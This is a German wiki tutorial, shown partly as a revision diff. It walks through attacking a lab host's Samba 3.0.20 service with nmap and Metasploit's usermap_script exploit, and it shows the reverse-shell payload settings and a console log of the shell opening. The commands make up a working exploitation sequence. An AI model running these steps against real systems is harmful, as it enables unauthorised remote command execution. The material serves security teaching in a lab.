Aktuelle Version vom 28. Juli 2021, 12:15 Uhr

Schwachstelle suchen

Mittels nmap einen Port suchen. In diesem Fall Samba

nmap -sV 10.0.10.105 -p 445

...
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Genaue Version

Durch nmap kann die genaue Version von Samba nicht gesehen werden.
Deshalb wird ein Modul von Metasploit benötigt.

msfconsole starten

msfconsole

Ab hier geht es in der msfconsole weiter

msf6 > use auxiliary/scanner/smb/smb_version

Nun wird noch die RHOSTS (Die IP des Opfers) benötigt

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105

Durch den Befehl show options werden die momentanen Einstellung gezeigt

msf6 auxiliary(scanner/smb/smb_version) > show options

Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden

msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.0.10.105:445       -   Host could not be identified: Unix (Samba 3.0.20-Debian)

Passendes Module suchen

Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden

search Samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

Laden das Modul

use exploit/multi/samba/usermap_script

Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.

Konfiguration des Samba Modules

Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.

RHOST

msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105

RHOST => 10.0.10.105

PAYLOAD

msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse

PAYLOAD => cmd/unix/reverse

Mit show options kann die momentane Konfiguration

msf6 exploit(multi/samba/usermap_script) > show options

 
Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.10.105      yes       The target host(s), range CIDR identifier, or hosts file with syn
                                      tax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.10.101      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Exploit ausführen

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 10.0.10.101:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo jEJ39DSiCoeqjn4t;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "jEJ39DSiCoeqjn4t\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200

Wir haben kein Prompt aber eine Shell

@@ Zeile 1: / Zeile 1: @@
 =Schwachstelle suchen=
-*Mittels nmap einen Port suchen. In diesem Fall Samba.
+==Mittels nmap einen Port suchen. In diesem Fall Samba==
-*'''Befehl:''' root@kali:~# nmap -sV 10.82.1.101
+*nmap -sV 10.0.10.105 -p 445
+ ...
+/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
- Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-02 12:48 CET
+=Genaue Version=
- Nmap scan report for 10.82.1.101
+;Durch nmap kann die genaue Version von Samba nicht gesehen werden.
- Host is up (0.00015s latency).
+;Deshalb wird ein Modul von Metasploit benötigt.
- Not shown: 977 closed ports
- PORT     STATE SERVICE     VERSION
+=msfconsole starten=
-/tcp   open  ftp         vsftpd 2.3.4
+*msfconsole
-/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
+;Ab hier geht es in der msfconsole weiter
-/tcp   open  telnet      Linux telnetd
+*msf6 > use auxiliary/scanner/smb/smb_version
-/tcp   open  smtp        Postfix smtpd
+;Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
-/tcp   open  domain      ISC BIND 9.4.2
+*msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105
-/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
+;Durch den Befehl '''show options''' werden die momentanen Einstellung gezeigt:
-/tcp  open  rpcbind
+*msf6 auxiliary(scanner/smb/smb_version) > show options
- <b>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
+;Durch das absetzen von dem Befehl '''run''' kann nun die genaue Samba Version ermittelt werden
-/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</b>
+*msf6 auxiliary(scanner/smb/smb_version) > run
-/tcp  open  exec        netkit-rsh rexecd
+  [*] 10.0.10.105:445       -   Host could not be identified: Unix (Samba 3.0.20-Debian)
-/tcp  open  login
-/tcp  open  tcpwrapped
+=Passendes Module suchen=
-/tcp open  java-rmi    GNU Classpath grmiregistry
+;Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
-/tcp open  bindshell   Metasploitable root shell
+*search Samba 3.0.20
-/tcp open  rpcbind
+<pre>
-/tcp open  ftp         ProFTPD 1.3.1
+Matching Modules
-/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
+================
-/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
-/tcp open  vnc         VNC (protocol 3.3)
+   #  Name                                Disclosure Date  Rank       Check  Description
-/tcp open  X11         (access denied)
+   -  ----                                ---------------  ----       -----  -----------
-/tcp open  irc         UnrealIRCd
+exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution
-/tcp open  ajp13       Apache Jserv (Protocol v1.3)
-/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
+Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
+</pre>
-=Genaue Version=
-Durch nmap kann die genaue Version von Samba nicht gesehen werden. Deshalb wird ein Modul von Metasploit benötigt.
-*Es wird folgender Befehl in der msfconsole abgesetzt um das Versions Module zu nutzen:
-**'''msf5 >''' use auxiliary/scanner/smb/smb_version
+=Laden das Modul=
+*use exploit/multi/samba/usermap_script
+;Und mittels des Befehls '''info''' kann eine genaue Beschreibung des Modules eingesehen werden.
+;Anhand der Beschreibung durch '''info''' kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
-*Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
+=Konfiguration des Samba Modules=
-**'''msf5 auxiliary(scanner/smb/smb_version) >''' set RHOSTS 10.82.1.101
+*Für das Module muss wieder der '''RHOST''' und ein '''PAYLOAD''' eingetragen werden.
+===RHOST===
+*msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105
+ RHOST => 10.0.10.105
+===PAYLOAD===
+*msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
+ PAYLOAD => cmd/unix/reverse
+;Mit '''show options''' kann die momentane Konfiguration
+*msf6 exploit(multi/samba/usermap_script) > show options
+<pre>
+Module options (exploit/multi/samba/usermap_script):
-*Durch den Befehl '''show options''' werden die momentanen Einstellung gezeigt:
+   Name    Current Setting  Required  Description
+   ----    ---------------  --------  -----------
+   RHOSTS  10.0.10.105      yes       The target host(s), range CIDR identifier, or hosts file with syn
+                                      tax 'file:<path>'
+   RPORT   139              yes       The target port (TCP)
-;msf5 auxiliary(scanner/smb/smb_version) > show options
- Module options (auxiliary/scanner/smb/smb_version):
+Payload options (cmd/unix/reverse):
- Name       Current Setting  Required  Description
-   ----       ---------------  --------  -----------
- RHOSTS     10.82.1.101      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
- SMBDomain  .                no        The Windows domain to use for authentication
- SMBPass                     no        The password for the specified username
- SMBUser                     no        The username to authenticate as
- THREADS    1                yes       The number of concurrent threads (max one per host)
-*Durch das absetzen von dem Befehl '''run''' kann nun die genaue Samba Version ermittelt werden
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST  10.0.10.101      yes       The listen address (an interface may be specified)
+   LPORT  4444             yes       The listen port
-;msf5 auxiliary(scanner/smb/smb_version) > run
- [*] 10.82.1.101:445       - Host could not be identified: Unix (Samba 3.0.20-Debian)
-=Angriff mittels passendem Samba Module=
+Exploit target:
-*Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
+   Id  Name
-;search Samba 3.0.20
+    --  ----
-  Matching Modules
+   Automatic
- ================
+</pre>
-   #   Name                                                   Disclosure Date  Rank       Check  Description
+=Exploit ausführen=
-    -   ----                                                   ---------------  ----       -----  -----------
+*msf6 exploit(multi/samba/usermap_script) > exploit
-   auxiliary/admin/http/wp_easycart_privilege_escalation  2015-02-25       normal     Yes    WordPress WP EasyCart Plugin Privilege Escalation
+<pre>
-   auxiliary/admin/smb/samba_symlink_traversal                             normal     No     Samba Symlink Directory Traversal
+[*] Started reverse TCP double handler on 10.0.10.101:4444
-   auxiliary/dos/samba/lsa_addprivs_heap                                   normal     No     Samba lsa_io_privilege_set Heap Overflow
+[*] Accepted the first client connection...
-   auxiliary/dos/samba/lsa_transnames_heap                                 normal     No     Samba lsa_io_trans_names Heap Overflow
+[*] Accepted the second client connection...
-   auxiliary/dos/samba/read_nttrans_ea_list                                normal     No     Samba read_nttrans_ea_list Integer Overflow
+[*] Command: echo jEJ39DSiCoeqjn4t;
-   auxiliary/scanner/rsync/modules_list                                    normal     No     List Rsync Modules
+[*] Writing to socket A
-   auxiliary/scanner/smb/smb_uninit_cred                                   normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
+[*] Writing to socket B
-   exploit/freebsd/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
+[*] Reading from sockets...
-   exploit/linux/samba/chain_reply                        2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
+[*] Reading from socket B
-   exploit/linux/samba/is_known_pipename                  2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
+[*] B: "jEJ39DSiCoeqjn4t\r\n"
-  exploit/linux/samba/lsa_transnames_heap                2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
+[*] Matching...
-  exploit/linux/samba/setinfopolicy_heap                 2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
+[*] A is input...
-  exploit/linux/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
+[*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200
-  exploit/multi/samba/nttrans                            2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
+</pre>
-  exploit/multi/samba/usermap_script                     2007-05-14       excellent  No     Samba "username map script" Command Execution
+;Wir haben kein Prompt aber eine Shell
-  exploit/osx/samba/lsa_transnames_heap                  2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
-  exploit/osx/samba/trans2open                           2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)

Metasploit Exploit und Payload (Samba): Unterschied zwischen den Versionen

Aktuelle Version vom 28. Juli 2021, 12:15 Uhr

Inhaltsverzeichnis

Schwachstelle suchen

Mittels nmap einen Port suchen. In diesem Fall Samba

Genaue Version

msfconsole starten

Passendes Module suchen

Laden das Modul

Konfiguration des Samba Modules

RHOST

PAYLOAD

Exploit ausführen

Navigationsmenü

Suche